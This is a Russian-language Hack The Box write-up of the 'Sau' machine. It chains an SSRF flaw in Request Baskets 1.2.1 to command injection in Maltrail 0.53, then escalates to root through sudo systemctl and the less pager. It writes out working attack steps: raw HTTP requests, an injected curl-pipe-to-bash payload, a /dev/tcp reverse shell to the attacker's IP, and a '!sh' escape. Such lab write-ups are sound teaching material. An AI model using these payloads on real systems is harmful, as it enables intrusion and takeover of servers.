March 22

HTB Sau. Раскручиваем цепочку SSRF и инъекций команд до захвата веб-сервера

  1. Разведка
  2. Точка входа
  3. Точка опоры
  4. Локальное повышение привилегий

В этом рай­тапе я покажу про­цесс экс­плу­ата­ции SSRF-уяз­вимос­тей и инъ­екции команд опе­раци­онной сис­темы при ата­ке на веб‑сер­вер на Linux. Получив дос­туп к SSH, мы исполь­зуем тех­нику GTFOBins, что­бы повысить при­виле­гии через сис­темную ути­литу systemctl.

На­ша цель — зах­ват рута на машине Sau с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — «лег­кий».

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.224 sau.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел все­го два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 55555 — веб‑сер­вер, выпол­няющий редирект на стра­ницу /web.

Еще видим порт 80, но он филь­тру­ется. Пос­мотрим, что за сайт пор­те 55555.

Глав­ная стра­ница сай­та http://10.10.11.224:55555/

ТОЧКА ВХОДА

Бла­года­ря помет­ке Powered by узна­ем, что исполь­зует­ся сис­тема Request Baskets вер­сии 1.2.1. Так как мы зна­ем вер­сию про­дук­та, пер­вым делом про­верим, нет ли для нее готовых экс­пло­итов. Для поис­ка прос­то вос­поль­зуем­ся Google.

По­иск экс­пло­итов в Google

Пер­вая ссыл­ка ведет к экс­пло­иту для уяз­вимос­ти CVE-2023-27163 (SSRF).

Справ­ка к экс­пло­иту

Эта уяз­вимость поз­воля­ет ата­кующе­му зас­тавить сер­вер выпол­нить зап­рос на дру­гой хост. Для про­вер­ки запус­тим локаль­ный веб‑сер­вер:

python3 -m http.server 80

А теперь попыта­емся выпол­нить на него зап­рос.

python3 CVE-2023-27163.py -v http://10.10.11.224:55555/web -t http://10.10.14.48/test_ssrf

Ре­зуль­тат работы экс­пло­ита
Ло­ги веб‑сер­вера

Зап­рос при­шел, а зна­чит сер­вис уяз­вим. Тут вспо­мина­ем о филь­тра­ции под­клю­чений к 80 пор­ту. Воз­можно, SSRF поможет обой­ти это огра­ниче­ние.

ТОЧКА ОПОРЫ

SSRF

Ос­талось разоб­рать­ся толь­ко с тем, как получить содер­жимое отве­та при обра­щении к стра­нице через SSRF. Я решил изу­чить про­цесс работы экс­пло­ита через Burp Proxy, для чего открыл файл /etc/proxychains.conf и в кон­це соз­дал запись для перенап­равле­ния тра­фика через Burp.

http 127.0.0.1 8080

Те­перь пов­торим запуск экс­пло­ита, но теперь через proxychains поп­робу­ем эксфиль­тро­вать содер­жимое сай­та на 80-м пор­ту.

python3 CVE-2023-27163.py -v http://10.10.11.224:55555/web -t http://10.10.11.224

За­пуск экс­пло­ита

В выводе ничего инте­рес­ного, поэто­му перехо­дим к Burp History, где зафик­сирова­ны три зап­роса.

Burp History

Пе­ресы­лаем все зап­росы в Burp Repeater и раз­бира­емся, как работа­ет экс­пло­ит. Пер­вый зап­рос соз­дает кор­зину, в ответ мы получа­ем токен дос­тупа.

Зап­рос к /api/basckets/

Во вто­ром зап­росе экс­пло­ит обра­щает­ся к соз­данной кор­зине, при этом переда­ет получен­ный на пре­дыду­щем шаге токен.

Зап­рос к кор­зине

Сер­вер дол­жен был вер­нуть содер­жимое по адре­су, который был передан в парамет­ре forward_url на пер­вом шаге. Но мы ничего не получа­ем. Тог­да я вер­нулся к пер­вому шагу и изме­нил зна­чение proxy_response.

POST /api/baskets/req2 HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Length: 124 Content-Type: application/json {"forward_url": "http://127.0.0.1:80/", "proxy_response": true, "insecure_tls": false, "expand_path": true, "capacity": 250}

Зап­рос к /api/basckets/

При обра­щении к соз­данной кор­зине мы получим какую‑то стра­ницу без JavaScript и сти­лей.

GET /req2 HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Authorization: Pq3N2qRrZPceRoR5VPspbx4htkKPBgjEBvTNOA_8qbl9

Зап­рос к кор­зине

Но поле Powered by сно­ва спа­сает: перед нами прог­рамма Maltrail 0.53. Наш­ли новую тех­нологию — сра­зу гуг­лим уяз­вимос­ти.

По­иск уяз­вимос­тей в Google

Инъекция команд ОС

По пер­вой ссыл­ке нас встре­чает опи­сание уяз­вимос­ти и даже при­мер ее экс­плу­ата­ции.

Опи­сание уяз­вимос­ти

Мы можем выпол­нить инъ­екцию коман­ды ОС через парамерт username на стра­нице /login. Вер­немся к нашей уяз­вимос­ти SSRF и зас­тавим сер­вис обра­тить­ся к стра­нице /login.

Зап­рос на соз­дание кор­зины

От­кры­ваем локаль­ный веб‑сер­вер python3 и поп­робу­ем обра­тить­ся к ста­нице /test_rce с уда­лен­ного сер­вера с помощью curl. Для это­го обра­щаем­ся к соз­данной кор­зине и переда­ем параметр username с внед­ренной коман­дой curl.

POST /req3 HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Authorization: CzLJ9JnwRC2n8w7KrVtapzOJIh7eeCg9T_T68CW8_Lk2 Content-Type: application/x-www-form-urlencoded Content-Length: 44 username=;`curl http://10.10.14.48/test_rce`

Зап­рос к кор­зине
Ло­ги веб‑сер­вера

В логах веб‑сер­вера видим тес­товый зап­рос. Теперь запус­тим лис­тенер:

pwncat-cs -lp 4321

За­писы­ваем в файл rs реверс шелл:

sh -i >& /dev/tcp/10.10.14.48/4321 0>&1

И выпол­няем зап­рос к это­му фай­лу с переда­чей вывода в bash для получе­ния уда­лен­ной сес­сии.

POST /req3 HTTP/1.1 Host: 10.10.11.224:55555 User-Agent: python-requests/2.28.2 Accept-Encoding: gzip, deflate Accept: */* Connection: close Authorization: CzLJ9JnwRC2n8w7KrVtapzOJIh7eeCg9T_T68CW8_Lk2 Content-Type: application/x-www-form-urlencoded Content-Length: 44 username=;`curl http://10.10.14.48/rs |bash`

Сес­сия поль­зовате­ля www-data

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь нам нуж­но соб­рать информа­цию. Я тра­дици­онно буду исполь­зовать для это­го скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в слу­чае с Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе будет мно­го информа­ции, ана­лизи­руем ее и ищем зна­чимые момен­ты.

В нас­трой­ках sudoers есть запись, сог­ласно которой мы можем выпол­нить коман­ду /usr/bin/systemctl status trail.service от име­ни поль­зовате­ля root без вво­да пароля.

Нас­трой­ки sudoers

В спис­ке фай­лов, добав­ленных поль­зовате­лем, есть файл все той же служ­бы /etc/systemd/system/trail.service.

До­бав­ленные поль­зовате­лем фай­лы

Я про­верил, нет ли в ба­зе GTFOBins записи о systemctl.

Справка: GTFOBins

GTFOBins — это спи­сок исполня­емых фай­лов Unix, которые мож­но исполь­зовать для обхо­да локаль­ных огра­ниче­ний безопас­ности в неп­равиль­но нас­тро­енных сис­темах. Про­ект собира­ет закон­ные фун­кции дво­ичных фай­лов Unix, которы­ми мож­но зло­упот­реблять, что­бы получить дос­туп к коман­дным обо­лоч­кам, повысить при­виле­гии или передать фай­лы.

Спо­собы экс­плу­ата­ции коман­ды systemctl

Ин­тересен пос­ледний вари­ант, учи­тыва­ющий осо­бен­ности вывода в less, так как он поз­волит перей­ти к выпол­нению команд ана­логич­но Vim. Я уже имел дело с подоб­ной ситу­ацией, поэто­му знал спо­соб экс­плу­ата­ции. Как толь­ко запус­тится pager, вво­дим коман­ду !sh для получе­ния сес­сии в при­виле­гиро­ван­ном режиме.

script /dev/null /bin/bash sudo /usr/bin/systemctl status trail.service !sh

Флаг рута

И машина зах­вачена!